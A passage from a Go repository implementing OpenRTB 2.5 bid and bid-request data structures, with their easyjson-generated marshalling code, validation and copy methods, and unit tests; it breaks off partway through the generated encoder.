// optional means of serving ad markup. Substitution macros // (Section 4.4) may be included in both the URL and optionally // returned markup. WinNotificationURL string `json:"nurl,omitempty"` // Attribute: // burl // Type: // string // Description: // Billing notice URL called by the exchange when a winning bid // becomes billable based on exchange-specific business policy // (e.g., typically delivered, viewed, etc.). Substitution macros // (Section 4.4) may be included. BURL string `json:"burl,omitempty"` // Attribute: // lurl // Type: // string // Description: // Loss notice URL called by the exchange when a bid is known to // have been lost. Substitution macros (Section 4.4) may be // included. Exchange-specific policy may preclude support for // loss notices or the disclosure of winning clearing prices // resulting in ${AUCTION_PRICE} macros being removed (i.e., // replaced with a zero-length string). LossNotificationURL string `json:"lurl,omitempty"` //Loss notice URL called by the exchange when a bid is known to have been lost. // Attribute: // adm // Type: // string // Description: // Optional means of conveying ad markup in case the bid wins; // supersedes the win notice if markup is included in both. // Substitution macros (Section 4.4) may be included. AdMarkup string `json:"adm,omitempty"` // Attribute: // adid // Type: // string // Description: // ID of a preloaded ad to be served if the bid wins. AdID string `json:"adid,omitempty"` // Attribute: // adomain // Type: // string array // Description: // Advertiser domain for block list checking (e.g., “ford.com”). // This can be an array of for the case of rotating creatives. // Exchanges can mandate that only one domain is allowed. AdvertiserDomains []string `json:"adomain,omitempty"` // Attribute: // bundle // Type: // string // Description: // A platform-specific application identifier intended to be // unique to the app and independent of the exchange. On // Android, this should be a bundle or package name (e.g., // com.foo.mygame). On iOS, it is a numeric ID. Bundle string `json:"bundle,omitempty"` // Attribute: // iurl // Type: // string // Description: // URL without cache-busting to an image that is representative // of the content of the campaign for ad quality/safety checking. QualityImageURL string `json:"iurl,omitempty"` // Attribute: // cid // Type: // string // Description: // Campaign ID to assist with ad quality checking; the collection // of creatives for which iurl should be representative. CampaignID string `json:"cid,omitempty"` // Attribute: // crid // Type: // string // Description: // Creative ID to assist with ad quality checking CreativeID string `json:"crid,omitempty"` // Attribute: // tactic // Type: // string // Description: // Tactic ID to enable buyers to label bids for reporting to the // exchange the tactic through which their bid was submitted. // The specific usage and meaning of the tactic ID should be // communicated between buyer and exchanges a priori. Tactic string `json:"tactic,omitempty"` // Attribute: // cat // Type: // string array // Description: // IAB content categories of the creative. Refer to List 5.1. Categories []string `json:"cat,omitempty"` // Attribute: // attr // Type: // integer array // Description: // Set of attributes describing the creative. Refer to List 5.3. CreativeAttributes []CreativeAttribute `json:"attr,omitempty"` // Attribute: // api // Type: // integer // Description: // API required by the markup if applicable. Refer to List 5.6. API APIFramework `json:"api,omitempty"` // Attribute: // protocol // Type: // integer // Description: // Video response protocol of the markup if applicable. Refer to // List 5.8. // Pointer is not necessary for 0 is useless Protocol Protocol `json:"protocol,omitempty"` // Attribute: // qagmediarating // Type: // integer // Description: // Creative media rating per IQG guidelines. Refer to List 5.19. // Pointer is not necessary for 0 is useless QAGMediaRating IQGMediaRating `json:"qagmediarating,omitempty"` // Attribute: // language // Type: // string // Description: // Language of the creative using ISO-639-1-alpha-2. The nonstandard // code “xx” may also be used if the creative has no // linguistic content (e.g., a banner with just a company logo). Language string `json:"language,omitempty"` // Attribute: // dealid // Type: // string // Description: // Reference to the deal.id from the bid request if this bid // pertains to a private marketplace direct deal. DealID string `json:"dealid,omitempty"` // Attribute: // w // Type: // integer // Description: // Width of the creative in device independent pixels (DIPS). Width int `json:"w,omitempty"` // Attribute: // h // Type: // integer // Description: // Height of the creative in device independent pixels (DIPS). Height int `json:"h,omitempty"` // Attribute: // wratio // Type: // integer // Description: // Relative width of the creative when expressing size as a ratio. // Required for Flex Ads. WRatio int `json:"wratio,omitempty"` // Attribute: // hratio // Type: // integer // Description: // Relative height of the creative when expressing size as a ratio. // Required for Flex Ads. HRatio int `json:"hratio,omitempty"` // Attribute: // exp // Type: // integer // Description: // Advisory as to the number of seconds the bidder is willing to // wait between the auction and the actual impression. Exp int `json:"exp,omitempty"` // Attribute: // ext // Type: // object // Description: // Placeholder for bidder-specific extensions to OpenRTB Extension json.RawMessage `json:"ext,omitempty"` } // Validate method validates a bid object. func (b *Bid) Validate() error { if len(b.ID) == 0 { return ErrInvalidBidID } if len(b.ImpressionID) == 0 { return ErrInvalidImpressionID } if b.Price <= 0 { return ErrInvalidBidPrice } return nil } // Copy returns a pointer to a copy of the bid object. func (b *Bid) Copy() *Bid { if b == nil { return nil } bCopy := *b bCopy.AdvertiserDomains = util.DeepCopyStrSlice(b.AdvertiserDomains) if b.Categories != nil { bCopy.Categories = make([]string, len(b.Categories)) copy(bCopy.Categories, b.Categories) } if b.CreativeAttributes != nil { bCopy.CreativeAttributes = make([]CreativeAttribute, len(b.CreativeAttributes)) copy(bCopy.CreativeAttributes, b.CreativeAttributes) } bCopy.Extension = util.DeepCopyJSONRawMsg(b.Extension) return &bCopy } ``` ## /openrtb/bid_easyjson.go ```go path="/openrtb/bid_easyjson.go" // Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package openrtb import ( json "encoding/json" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjson31527abDecodeGithubComVungleVungoOpenrtb(in *jlexer.Lexer, out *Bid) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "impid": out.ImpressionID = string(in.String()) case "price": out.Price = float64(in.Float64()) case "nurl": out.WinNotificationURL = string(in.String()) case "burl": out.BURL = string(in.String()) case "lurl": out.LossNotificationURL = string(in.String()) case "adm": out.AdMarkup = string(in.String()) case "adid": out.AdID = string(in.String()) case "adomain": if in.IsNull() { in.Skip() out.AdvertiserDomains = nil } else { in.Delim('[') if out.AdvertiserDomains == nil { if !in.IsDelim(']') { out.AdvertiserDomains = make([]string, 0, 4) } else { out.AdvertiserDomains = []string{} } } else { out.AdvertiserDomains = (out.AdvertiserDomains)[:0] } for !in.IsDelim(']') { var v1 string v1 = string(in.String()) out.AdvertiserDomains = append(out.AdvertiserDomains, v1) in.WantComma() } in.Delim(']') } case "bundle": out.Bundle = string(in.String()) case "iurl": out.QualityImageURL = string(in.String()) case "cid": out.CampaignID = string(in.String()) case "crid": out.CreativeID = string(in.String()) case "tactic": out.Tactic = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Categories = nil } else { in.Delim('[') if out.Categories == nil { if !in.IsDelim(']') { out.Categories = make([]string, 0, 4) } else { out.Categories = []string{} } } else { out.Categories = (out.Categories)[:0] } for !in.IsDelim(']') { var v2 string v2 = string(in.String()) out.Categories = append(out.Categories, v2) in.WantComma() } in.Delim(']') } case "attr": if in.IsNull() { in.Skip() out.CreativeAttributes = nil } else { in.Delim('[') if out.CreativeAttributes == nil { if !in.IsDelim(']') { out.CreativeAttributes = make([]CreativeAttribute, 0, 8) } else { out.CreativeAttributes = []CreativeAttribute{} } } else { out.CreativeAttributes = (out.CreativeAttributes)[:0] } for !in.IsDelim(']') { var v3 CreativeAttribute v3 = CreativeAttribute(in.Int()) out.CreativeAttributes = append(out.CreativeAttributes, v3) in.WantComma() } in.Delim(']') } case "api": out.API = APIFramework(in.Int()) case "protocol": out.Protocol = Protocol(in.Int()) case "qagmediarating": out.QAGMediaRating = IQGMediaRating(in.Int()) case "language": out.Language = string(in.String()) case "dealid": out.DealID = string(in.String()) case "w": out.Width = int(in.Int()) case "h": out.Height = int(in.Int()) case "wratio": out.WRatio = int(in.Int()) case "hratio": out.HRatio = int(in.Int()) case "exp": out.Exp = int(in.Int()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson31527abEncodeGithubComVungleVungoOpenrtb(out *jwriter.Writer, in Bid) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } { const prefix string = ",\"impid\":" out.RawString(prefix) out.String(string(in.ImpressionID)) } { const prefix string = ",\"price\":" out.RawString(prefix) out.Float64(float64(in.Price)) } if in.WinNotificationURL != "" { const prefix string = ",\"nurl\":" out.RawString(prefix) out.String(string(in.WinNotificationURL)) } if in.BURL != "" { const prefix string = ",\"burl\":" out.RawString(prefix) out.String(string(in.BURL)) } if in.LossNotificationURL != "" { const prefix string = ",\"lurl\":" out.RawString(prefix) out.String(string(in.LossNotificationURL)) } if in.AdMarkup != "" { const prefix string = ",\"adm\":" out.RawString(prefix) out.String(string(in.AdMarkup)) } if in.AdID != "" { const prefix string = ",\"adid\":" out.RawString(prefix) out.String(string(in.AdID)) } if len(in.AdvertiserDomains) != 0 { const prefix string = ",\"adomain\":" out.RawString(prefix) { out.RawByte('[') for v4, v5 := range in.AdvertiserDomains { if v4 > 0 { out.RawByte(',') } out.String(string(v5)) } out.RawByte(']') } } if in.Bundle != "" { const prefix string = ",\"bundle\":" out.RawString(prefix) out.String(string(in.Bundle)) } if in.QualityImageURL != "" { const prefix string = ",\"iurl\":" out.RawString(prefix) out.String(string(in.QualityImageURL)) } if in.CampaignID != "" { const prefix string = ",\"cid\":" out.RawString(prefix) out.String(string(in.CampaignID)) } if in.CreativeID != "" { const prefix string = ",\"crid\":" out.RawString(prefix) out.String(string(in.CreativeID)) } if in.Tactic != "" { const prefix string = ",\"tactic\":" out.RawString(prefix) out.String(string(in.Tactic)) } if len(in.Categories) != 0 { const prefix string = ",\"cat\":" out.RawString(prefix) { out.RawByte('[') for v6, v7 := range in.Categories { if v6 > 0 { out.RawByte(',') } out.String(string(v7)) } out.RawByte(']') } } if len(in.CreativeAttributes) != 0 { const prefix string = ",\"attr\":" out.RawString(prefix) { out.RawByte('[') for v8, v9 := range in.CreativeAttributes { if v8 > 0 { out.RawByte(',') } out.Int(int(v9)) } out.RawByte(']') } } if in.API != 0 { const prefix string = ",\"api\":" out.RawString(prefix) out.Int(int(in.API)) } if in.Protocol != 0 { const prefix string = ",\"protocol\":" out.RawString(prefix) out.Int(int(in.Protocol)) } if in.QAGMediaRating != 0 { const prefix string = ",\"qagmediarating\":" out.RawString(prefix) out.Int(int(in.QAGMediaRating)) } if in.Language != "" { const prefix string = ",\"language\":" out.RawString(prefix) out.String(string(in.Language)) } if in.DealID != "" { const prefix string = ",\"dealid\":" out.RawString(prefix) out.String(string(in.DealID)) } if in.Width != 0 { const prefix string = ",\"w\":" out.RawString(prefix) out.Int(int(in.Width)) } if in.Height != 0 { const prefix string = ",\"h\":" out.RawString(prefix) out.Int(int(in.Height)) } if in.WRatio != 0 { const prefix string = ",\"wratio\":" out.RawString(prefix) out.Int(int(in.WRatio)) } if in.HRatio != 0 { const prefix string = ",\"hratio\":" out.RawString(prefix) out.Int(int(in.HRatio)) } if in.Exp != 0 { const prefix string = ",\"exp\":" out.RawString(prefix) out.Int(int(in.Exp)) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" out.RawString(prefix) out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Bid) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson31527abEncodeGithubComVungleVungoOpenrtb(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Bid) MarshalEasyJSON(w *jwriter.Writer) { easyjson31527abEncodeGithubComVungleVungoOpenrtb(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Bid) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson31527abDecodeGithubComVungleVungoOpenrtb(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Bid) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson31527abDecodeGithubComVungleVungoOpenrtb(l, v) } ``` ## /openrtb/bid_test.go ```go path="/openrtb/bid_test.go" package openrtb_test import ( "reflect" "testing" "github.com/unsteadykis/vungo/openrtb" "github.com/unsteadykis/vungo/openrtb/openrtbtest" ) var BidModelType = reflect.TypeOf(openrtb.Bid{}) func TestBidMarshalUnmarshal(t *testing.T) { openrtbtest.VerifyModelAgainstFile(t, "bid.json", BidModelType) } func TestBid_Fields(t *testing.T) { if err := openrtbtest.VerifyStructFieldNameWithStandardTextFile( (*openrtb.Bid)(nil), "testdata/bid_std.txt"); err != "" { t.Error(err) } } func TestBidValidation(t *testing.T) { testCases := []struct { bid *openrtb.Bid bidReq *openrtb.BidRequest err error }{ // with empty id { &openrtb.Bid{ID: ""}, openrtbtest.NewBidRequestForTesting("", ""), openrtb.ErrInvalidBidID, }, // with empty impression id { &openrtb.Bid{ID: "abidid", ImpressionID: ""}, openrtbtest.NewBidRequestForTesting("", ""), openrtb.ErrInvalidImpressionID, }, // with zero price { &openrtb.Bid{ID: "abidid", ImpressionID: "impid", Price: 0}, openrtbtest.NewBidRequestForTesting("", "impid"), openrtb.ErrInvalidBidPrice, }, // with minus price { &openrtb.Bid{ID: "abidid", ImpressionID: "impid", Price: -1}, openrtbtest.NewBidRequestForTesting("", "impid"), openrtb.ErrInvalidBidPrice, }, // with valid data { &openrtb.Bid{ID: "abidid", ImpressionID: "impid", Price: 1}, openrtbtest.NewBidRequestForTesting("", "impid"), nil, }, } for _, testCase := range testCases { err := testCase.bid.Validate() if err != testCase.err { t.Errorf("%v should return error (%s) instead of (%s).", testCase.bid, testCase.err, err) } } } func TestBid_Copy(t *testing.T) { bid := openrtb.Bid{} if err := openrtbtest.VerifyDeepCopy( &bid, bid.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } openrtbtest.FillWithNonNilValue(&bid) if err := openrtbtest.VerifyDeepCopy( &bid, bid.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } } ``` ## /openrtb/bidauctiontype.go ```go path="/openrtb/bidauctiontype.go" package openrtb // BidAuctionType type // Auction type, where 1 = First Price, 2 = Second Price Plus. // Exchange-specific auction types can be defined using values // greater than 500. // See OpenRTB 2.5 Sec 3.2.1 BidRequest. type BidAuctionType int // BidAuctionType enum values const ( BidAuctionTypeFirstPrice BidAuctionType = 1 BidAuctionTypeSecondPrice BidAuctionType = 2 ) ``` ## /openrtb/bidrequest.go ```go path="/openrtb/bidrequest.go" package openrtb import ( "encoding/json" "fmt" "github.com/unsteadykis/vungo/internal/util" ) // BidRequest is the top-level bid request object. It contains a globally unique // bid request or auction ID. // This id attribute is required as is at least one impression object (Section // 3.2.4). // Other attributes in this top-level object establish rules and restrictions // that apply to all impressions being offered. // // There are also several subordinate objects that provide detailed data to // potential buyers. // Among these are the Site and App objects, which describe the type of // published media in which the impression(s) appear. // These objects are highly recommended, but only one applies to a given bid // request depending on whether the media is browser-based web content or a // non-browser application, respectively. // See OpenRTB 2.5 Sec 3.2.1. // //go:generate easyjson $GOFILE //easyjson:json type BidRequest struct { // Attribute: // id // Type: // string; required // Description: // Unique ID of the bid request, provided by the exchange. ID string `json:"id"` // Attribute: // imp // Type: // object array; required // Description: // Array of Imp objects (Section 3.2.4) representing the // impressions offered. At least 1 Imp object is required. Impressions []*Impression `json:"imp"` // Attribute: // site // Type: // object; recommended // Description: // Details via a Site object (Section 3.2.13) about the publisher’s // website. Only applicable and recommended for websites. Site *Site `json:"site,omitempty"` // Attribute: // app // Type: // object; recommended // Description: // Details via an App object (Section 3.2.14) about the publisher’s // app (i.e., non-browser applications). Only applicable and // recommended for apps. Application *Application `json:"app,omitempty"` // Attribute: // device // Type: // object; recommended // Description: // Details via a Device object (Section 3.2.18) about the user’s // device to which the impression will be delivered. Device *Device `json:"device,omitempty"` // Attribute: // user // Type: // object; recommended // Description: // Details via a User object (Section 3.2.20) about the human // user of the device; the advertising audience. User *User `json:"user,omitempty"` // Attribute: // test // Type: // integer; default 0 // Description: // Indicator of test mode in which auctions are not billable, // where 0 = live mode, 1 = test mode. IsTestMode NumericBool `json:"test,omitempty"` // Attribute: // at // Type: // integer; default 2 // Description: // Auction type, where 1 = First Price, 2 = Second Price Plus. // Exchange-specific auction types can be defined using values // greater than 500. AuctionType BidAuctionType `json:"at"` // Attribute: // tmax // Type: // integer // Description: // Maximum time in milliseconds the exchange allows for bids to // be received including Internet latency to avoid timeout. This // value supersedes any a priori guidance from the exchange. Timeout int `json:"tmax,omitempty"` // Attribute: // wseat // Type: // string array // Description: // White list of buyer seats (e.g., advertisers, agencies) allowed // to bid on this impression. IDs of seats and knowledge of the // buyer’s customers to which they refer must be coordinated // between bidders and the exchange a priori. At most, only one // of wseat and bseat should be used in the same request. // Omission of both implies no seat restrictions. WhitelistedSeats []string `json:"wseat,omitempty"` // Attribute: // bseat // Type: // string array // Description: // Block list of buyer seats (e.g., advertisers, agencies) restricted // from bidding on this impression. IDs of seats and knowledge // of the buyer’s customers to which they refer must be // coordinated between bidders and the exchange a priori. At // most, only one of wseat and bseat should be used in the // same request. Omission of both implies no seat restrictions. BlocklistedSeats []string `json:"bseat,omitempty"` // Attribute: // allimps // Type: // integer; default 0 // Description: // Flag to indicate if Exchange can verify that the impressions // offered represent all of the impressions available in context // (e.g., all on the web page, all video spots such as pre/mid/post // roll) to support road-blocking. 0 = no or unknown, 1 = yes, the // impressions offered represent all that are available. HasAllImpressions NumericBool `json:"allimps,omitempty"` // Attribute: // cur // Type: // string array // Description: // Array of allowed currencies for bids on this bid request using // ISO-4217 alpha codes. Recommended only if the exchange // accepts multiple currencies. Currencies []Currency `json:"cur,omitempty"` // Attribute: // wlang // Type: // string array // Description: // White list of languages for creatives using ISO-639-1-alpha-2. // Omission implies no specific restrictions, but buyers would be // advised to consider language attribute in the Device and/or // Content objects if available. WhitelistLanguages []string `json:"wlang,omitempty"` // Attribute: // bcat // Type: // string array // Description: // Blocked advertiser categories using the IAB content // categories. Refer to List 5.1. BlockedCategories []string `json:"bcat,omitempty"` // Attribute: // badv // Type: // string array // Description: // Block list of advertisers by their domains (e.g., “ford.com”). BlockedAdvertisers []string `json:"badv,omitempty"` // Attribute: // bapp // Type: // string array // Description: // Block list of applications by their platform-specific exchange-independent // application identifiers. On Android, these should // be bundle or package names (e.g., com.foo.mygame). On iOS, // these are numeric IDs. BlockedAdvertisersByMarketID []string `json:"bapp,omitempty"` // Attribute: // source // Type: // object // Description: // A Sorce object (Section 3.2.2) that provides data about the // inventory source and which entity makes the final decision. Source *Source `json:"source,omitempty"` // Attribute: // regs // Type: // object // Description: // A Regs object (Section 3.2.3) that specifies any industry, legal, // or governmental regulations in force for this request. Regulation *Regulation `json:"regs,omitempty"` // Attribute: // ext // Type: // json.RawMessage // Description: // Placeholder for exchange-specific extensions to OpenRTB. Extension json.RawMessage `json:"ext,omitempty"` } // Validate method checks to see if the BidRequest object contains required and well-formatted data // and returns a corresponding error when the check fails. func (r *BidRequest) Validate() error { if r.ID == "" { return ErrInvalidBidRequestID } if r.Impressions == nil || len(r.Impressions) == 0 { return ErrInvalidBidRequestImpressions } if len(r.WhitelistedSeats) > 0 && len(r.BlocklistedSeats) > 0 { return ErrInvalidBidRequestSeats } if r.Application != nil && r.Site != nil { return ErrBidRequestHasBothAppAndSite } return nil } // String method returns a human-readable representation of the bid request object also suitable // for logging with %s, or %v. func (r *BidRequest) String() string { return fmt.Sprintf("[%s;%d]", r.ID, len(r.Impressions)) } // Copy returns a pointer to a copy of the BidRequest object. func (r *BidRequest) Copy() *BidRequest { if r == nil { return nil } brCopy := *r if r.Impressions != nil { brCopy.Impressions = []*Impression{} for i := range r.Impressions { brCopy.Impressions = append(brCopy.Impressions, r.Impressions[i].Copy()) } } brCopy.Site = r.Site.Copy() brCopy.Application = r.Application.Copy() brCopy.Device = r.Device.Copy() brCopy.User = r.User.Copy() brCopy.WhitelistedSeats = util.DeepCopyStrSlice(r.WhitelistedSeats) brCopy.BlocklistedSeats = util.DeepCopyStrSlice(r.BlocklistedSeats) if r.Currencies != nil { brCopy.Currencies = make([]Currency, len(r.Currencies)) copy(brCopy.Currencies, r.Currencies) } brCopy.WhitelistLanguages = util.DeepCopyStrSlice(r.WhitelistLanguages) if r.BlockedCategories != nil { brCopy.BlockedCategories = make([]string, len(r.BlockedCategories)) copy(brCopy.BlockedCategories, r.BlockedCategories) } brCopy.BlockedAdvertisers = util.DeepCopyStrSlice(r.BlockedAdvertisers) brCopy.BlockedAdvertisersByMarketID = util.DeepCopyStrSlice(r.BlockedAdvertisersByMarketID) brCopy.Regulation = r.Regulation.Copy() brCopy.Source = r.Source.Copy() brCopy.Extension = util.DeepCopyJSONRawMsg(r.Extension) return &brCopy } ``` ## /openrtb/bidrequest_easyjson.go ```go path="/openrtb/bidrequest_easyjson.go" // Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package openrtb import ( json "encoding/json" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb(in *jlexer.Lexer, out *BidRequest) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "imp": if in.IsNull() { in.Skip() out.Impressions = nil } else { in.Delim('[') if out.Impressions == nil { if !in.IsDelim(']') { out.Impressions = make([]*Impression, 0, 8) } else { out.Impressions = []*Impression{} } } else { out.Impressions = (out.Impressions)[:0] } for !in.IsDelim(']') { var v1 *Impression if in.IsNull() { in.Skip() v1 = nil } else { if v1 == nil { v1 = new(Impression) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb1(in, v1) } out.Impressions = append(out.Impressions, v1) in.WantComma() } in.Delim(']') } case "site": if in.IsNull() { in.Skip() out.Site = nil } else { if out.Site == nil { out.Site = new(Site) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb2(in, out.Site) } case "app": if in.IsNull() { in.Skip() out.Application = nil } else { if out.Application == nil { out.Application = new(Application) } (*out.Application).UnmarshalEasyJSON(in) } case "device": if in.IsNull() { in.Skip() out.Device = nil } else { if out.Device == nil { out.Device = new(Device) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb3(in, out.Device) } case "user": if in.IsNull() { in.Skip() out.User = nil } else { if out.User == nil { out.User = new(User) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb4(in, out.User) } case "test": if data := in.Raw(); in.Ok() { in.AddError((out.IsTestMode).UnmarshalJSON(data)) } case "at": out.AuctionType = BidAuctionType(in.Int()) case "tmax": out.Timeout = int(in.Int()) case "wseat": if in.IsNull() { in.Skip() out.WhitelistedSeats = nil } else { in.Delim('[') if out.WhitelistedSeats == nil { if !in.IsDelim(']') { out.WhitelistedSeats = make([]string, 0, 4) } else { out.WhitelistedSeats = []string{} } } else { out.WhitelistedSeats = (out.WhitelistedSeats)[:0] } for !in.IsDelim(']') { var v2 string v2 = string(in.String()) out.WhitelistedSeats = append(out.WhitelistedSeats, v2) in.WantComma() } in.Delim(']') } case "bseat": if in.IsNull() { in.Skip() out.BlocklistedSeats = nil } else { in.Delim('[') if out.BlocklistedSeats == nil { if !in.IsDelim(']') { out.BlocklistedSeats = make([]string, 0, 4) } else { out.BlocklistedSeats = []string{} } } else { out.BlocklistedSeats = (out.BlocklistedSeats)[:0] } for !in.IsDelim(']') { var v3 string v3 = string(in.String()) out.BlocklistedSeats = append(out.BlocklistedSeats, v3) in.WantComma() } in.Delim(']') } case "allimps": if data := in.Raw(); in.Ok() { in.AddError((out.HasAllImpressions).UnmarshalJSON(data)) } case "cur": if in.IsNull() { in.Skip() out.Currencies = nil } else { in.Delim('[') if out.Currencies == nil { if !in.IsDelim(']') { out.Currencies = make([]Currency, 0, 4) } else { out.Currencies = []Currency{} } } else { out.Currencies = (out.Currencies)[:0] } for !in.IsDelim(']') { var v4 Currency v4 = Currency(in.String()) out.Currencies = append(out.Currencies, v4) in.WantComma() } in.Delim(']') } case "wlang": if in.IsNull() { in.Skip() out.WhitelistLanguages = nil } else { in.Delim('[') if out.WhitelistLanguages == nil { if !in.IsDelim(']') { out.WhitelistLanguages = make([]string, 0, 4) } else { out.WhitelistLanguages = []string{} } } else { out.WhitelistLanguages = (out.WhitelistLanguages)[:0] } for !in.IsDelim(']') { var v5 string v5 = string(in.String()) out.WhitelistLanguages = append(out.WhitelistLanguages, v5) in.WantComma() } in.Delim(']') } case "bcat": if in.IsNull() { in.Skip() out.BlockedCategories = nil } else { in.Delim('[') if out.BlockedCategories == nil { if !in.IsDelim(']') { out.BlockedCategories = make([]string, 0, 4) } else { out.BlockedCategories = []string{} } } else { out.BlockedCategories = (out.BlockedCategories)[:0] } for !in.IsDelim(']') { var v6 string v6 = string(in.String()) out.BlockedCategories = append(out.BlockedCategories, v6) in.WantComma() } in.Delim(']') } case "badv": if in.IsNull() { in.Skip() out.BlockedAdvertisers = nil } else { in.Delim('[') if out.BlockedAdvertisers == nil { if !in.IsDelim(']') { out.BlockedAdvertisers = make([]string, 0, 4) } else { out.BlockedAdvertisers = []string{} } } else { out.BlockedAdvertisers = (out.BlockedAdvertisers)[:0] } for !in.IsDelim(']') { var v7 string v7 = string(in.String()) out.BlockedAdvertisers = append(out.BlockedAdvertisers, v7) in.WantComma() } in.Delim(']') } case "bapp": if in.IsNull() { in.Skip() out.BlockedAdvertisersByMarketID = nil } else { in.Delim('[') if out.BlockedAdvertisersByMarketID == nil { if !in.IsDelim(']') { out.BlockedAdvertisersByMarketID = make([]string, 0, 4) } else { out.BlockedAdvertisersByMarketID = []string{} } } else { out.BlockedAdvertisersByMarketID = (out.BlockedAdvertisersByMarketID)[:0] } for !in.IsDelim(']') { var v8 string v8 = string(in.String()) out.BlockedAdvertisersByMarketID = append(out.BlockedAdvertisersByMarketID, v8) in.WantComma() } in.Delim(']') } case "source": if in.IsNull() { in.Skip() out.Source = nil } else { if out.Source == nil { out.Source = new(Source) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb5(in, out.Source) } case "regs": if in.IsNull() { in.Skip() out.Regulation = nil } else { if out.Regulation == nil { out.Regulation = new(Regulation) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb6(in, out.Regulation) } case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb(out *jwriter.Writer, in BidRequest) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } { const prefix string = ",\"imp\":" out.RawString(prefix) if in.Impressions == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 { out.RawString("null") } else { out.RawByte('[') for v9, v10 := range in.Impressions { if v9 > 0 { out.RawByte(',') } if v10 == nil { out.RawString("null") } else { easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb1(out, *v10) } } out.RawByte(']') } } if in.Site != nil { const prefix string = ",\"site\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb2(out, *in.Site) } if in.Application != nil { const prefix string = ",\"app\":" out.RawString(prefix) (*in.Application).MarshalEasyJSON(out) } if in.Device != nil { const prefix string = ",\"device\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb3(out, *in.Device) } if in.User != nil { const prefix string = ",\"user\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb4(out, *in.User) } if in.IsTestMode { const prefix string = ",\"test\":" out.RawString(prefix) out.Raw((in.IsTestMode).MarshalJSON()) } { const prefix string = ",\"at\":" out.RawString(prefix) out.Int(int(in.AuctionType)) } if in.Timeout != 0 { const prefix string = ",\"tmax\":" out.RawString(prefix) out.Int(int(in.Timeout)) } if len(in.WhitelistedSeats) != 0 { const prefix string = ",\"wseat\":" out.RawString(prefix) { out.RawByte('[') for v11, v12 := range in.WhitelistedSeats { if v11 > 0 { out.RawByte(',') } out.String(string(v12)) } out.RawByte(']') } } if len(in.BlocklistedSeats) != 0 { const prefix string = ",\"bseat\":" out.RawString(prefix) { out.RawByte('[') for v13, v14 := range in.BlocklistedSeats { if v13 > 0 { out.RawByte(',') } out.String(string(v14)) } out.RawByte(']') } } if in.HasAllImpressions { const prefix string = ",\"allimps\":" out.RawString(prefix) out.Raw((in.HasAllImpressions).MarshalJSON()) } if len(in.Currencies) != 0 { const prefix string = ",\"cur\":" out.RawString(prefix) { out.RawByte('[') for v15, v16 := range in.Currencies { if v15 > 0 { out.RawByte(',') } out.String(string(v16)) } out.RawByte(']') } } if len(in.WhitelistLanguages) != 0 { const prefix string = ",\"wlang\":" out.RawString(prefix) { out.RawByte('[') for v17, v18 := range in.WhitelistLanguages { if v17 > 0 { out.RawByte(',') } out.String(string(v18)) } out.RawByte(']') } } if len(in.BlockedCategories) != 0 { const prefix string = ",\"bcat\":" out.RawString(prefix) { out.RawByte('[') for v19, v20 := range in.BlockedCategories { if v19 > 0 { out.RawByte(',') } out.String(string(v20)) } out.RawByte(']') } } if len(in.BlockedAdvertisers) != 0 { const prefix string = ",\"badv\":" out.RawString(prefix) { out.RawByte('[') for v21, v22 := range in.BlockedAdvertisers { if v21 > 0 { out.RawByte(',') } out.String(string(v22)) } out.RawByte(']') } } if len(in.BlockedAdvertisersByMarketID) != 0 { const prefix string = ",\"bapp\":" 